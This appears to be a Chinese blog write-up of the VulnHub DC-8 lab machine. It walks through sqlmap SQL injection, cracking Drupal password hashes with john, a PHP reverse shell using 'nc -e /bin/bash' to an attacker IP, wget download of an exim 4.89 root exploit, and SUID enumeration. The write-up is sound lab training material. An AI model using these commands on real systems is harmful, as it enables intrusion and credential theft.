前言
這次練習的靶機是vulnhub平臺下的DC系列靶機第8臺,下載地址為https://www.vulnhub.com/entry/dc-8,367/,挑戰該靶機的最終目的是獲取root權限,然后讀取唯一的flag,這臺靶機的總體難度不大,利用的漏洞也是常見的,只要細心觀察就可以發現這個突破口,
虛擬機配置
這次采用的網路連接模式依然是NAT模式,為了避免掃描到其他物理主機,在匯入虛擬機后,右擊DC-6靶機,然后選中配置,依次點擊網路配置->NAT模式->高級->生成,然后確認即可,

收集資訊
nmap -sn --min-parallelism 200 --min-hostgroup 256 192.168.119.0/24
-sn 代表存活主機掃描,不進行埠測探,
–min-parallelism 代表調整探測報文的并行度,也就是在掃描同一臺主機時會發送很多個探測資料包,這個引數指定的數即nmap一次至少要發多少個資料包,
–min-hostgroup 代表調整并行掃描組的大小,也就是一次性同時對多少臺主機進行掃描,
更詳細內容可以參考:https://zhuanlan.zhihu.com/p/322244582,關于nmap的一些性能引數的學習,

發現靶機的IP地址為 192.168.119.169,然后用nmap對靶機進行詳細地掃描,
nmap -A -sV -p- --min-parallelism 100 192.168.119.169
-A 代表綜合性掃描,能收集很多重要的資訊
-sV 代表掃描主要的服務資訊
-p- 引數p是指定埠,后面的
-代表所有埠,

發現開放了 80埠和 22埠,還發現了一些敏感目錄,用瀏覽器打開網頁進一步收集更多的資訊,

看網頁上面的提示,這些英文翻譯如下:
非常重要的資訊
在我們解決一些懸而未決的問題時,該網站將在未來幾周中斷,
給您帶來的不便,我們深表歉意,
這個網站關閉了一些功能,但是還展示幾個頁面,點擊這些頁面看看有沒有資料互動的地方,因為在資料互動的地方很有可能會存在漏洞,
SQL注入
在點擊 Welcome to DC-8時發現地址欄中出現了一個引數 nid,這個地方很可能會出現sql注入,可以在這個引數值中加一個引號或雙引號,看看會不會報錯,如果報錯則說明存在sql注入漏洞,

在nid引數值中添加一個單引號后出現了報錯,并且把sql陳述句也顯出了出來,這很明顯存在sql注入漏洞,接下來可以使用sqlmap把資料庫中的賬號查出來,

sqlmap -u "192.168.119.169/?nid=1" -p nid --dbs
-p 指定有sql注入漏洞的引數,
–dbs 表示列出所有資料庫名稱,

information_schema是mysql的默認資料庫,存盤一些mysql的配置資訊,所以該網站的資料庫就是d7db,接下來查詢一下d7db中的表名,
sqlmap -u "192.168.119.169/?nid=1" -p nid -D d7db --tables
-D 指定要查詢的資料庫
–tables 列出所有表名

發現有一個叫users的表,賬號和密碼應該存在這個表中,查詢一下該表中的資料,
sqlmap -u "192.168.119.169/?nid=1" -p nid -D d7db -T users --dump

-T 指定要查詢的表名
–dump 列出表中詳細資訊
現在已經將admin和john的密文查詢出來了,接下來可以通過john爆破這兩個密碼了,
爆破密碼
首先將這兩個密碼寫入一個檔案中,
echo '$S$D2tRcYRyqVFNSc0NvYUrYeQbLQg5koMKtihYTIDC9QQqJi3ICg5z'>pass.txt
echo '$S$DqupvJbxVmqjr6cYePnx2A891ln7lsuku/3if/oRVZJaz5mKC2vF'>>pass.txt

然后用john爆破密文,
john pass.txt

從上圖中看已經爆破出了密碼 turtle,經過測驗這個密碼是john的密碼,也可以用john --show pass.txt來查看已經爆破出的密碼,

反彈shell
首先登陸網站的后臺,該網站的后臺地址為 http://192.168.119.169/user/login,

登陸后應該尋找可以寫入php代碼的地方,只有能執行代碼的地方才能建立反彈shell,經過多次嘗試后發現按照下列步驟操作能執行php代碼,



然后在文本框中寫入代碼:
<p>Thanks for taking the time to contact us. We shall be in contact soon.</p>
<?php
system("nc -e /bin/bash 192.168.119.130 4443")
?>
其中必須要有能顯示的文字才能執行php代碼,因為該內容是在用戶提交資料后顯示的內容,如果沒有能顯示的內容,則這一部分內容將不會被參考,那么代碼也就不會執行,

然后在本地監聽4443埠,
rlwrap nc -lvnp 4443

然后在 Contact Us的view中隨便填寫資料,然后提交,

提交資料后就會顯示剛剛填寫在文本框中的內容,其中php代碼也會跟著執行,所以這時候反彈shell也就建立了,然后再執行一下命令升級一下shell,
python -c 'import pty;pty.spawn("/bin/bash")'

提權
嘗試一下suid提權,首先搜索一下具有s權限的檔案,
find / -perm -u=s -type f -exec ls -la {} \; 2>/dev/null
suid提權詳細內容可以參考:https://cloud.tencent.com/developer/article/1600994

發現了一個比較特別檔案exim4,用searchsploit搜索一下,看看能不能使用這個檔案提權,首先查看一下exim的版本,
exim --version

發現版本號是4.89,用searchsploit搜索一下針對該版本的利用程式,
searchsploit exim 4.89

把 46996.sh復制到當前檔案夾,并查看一下該檔案中的注釋,因為在注釋中有說明使用方法,同時將該檔案中的換行符換成unix格式的換行符,
searchsploit -m 46996.sh
vim 46996.sh
:set ff=unix

該程式有兩種方法來獲取root權限,可以在提權的時候都嘗試一下,現在需要將該檔案上傳到靶機中,首先在該提權檔案目錄執行一下命令,
python3 -m http.server 80
該命令相當于開啟一個web網站,可以供其他主機下載,

然后將46996.sh下載至靶機,
cd /tmp
wget 192.168.119.130/46996.sh

賦予46996.sh執行權限,并按照注釋中提示的方法執行該程式,執行程式后等待一會兒就提權成功了,要注意的是如果沒有提權成功可以多嘗試幾次,提權成功后過一會兒又會失去root權限,
chmod +x 46996.sh
./46996.sh -m netcat

提權成功,讀取flag,
cd /root
cat flag.txt

參考文獻
[1] https://zhuanlan.zhihu.com/p/322244582,關于nmap的一些性能引數的學習,
[2] https://cloud.tencent.com/developer/article/1600994
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/297423.html
標籤:其他
上一篇:java淺談執行緒安全之鎖
下一篇:雙機熱備技術簡介
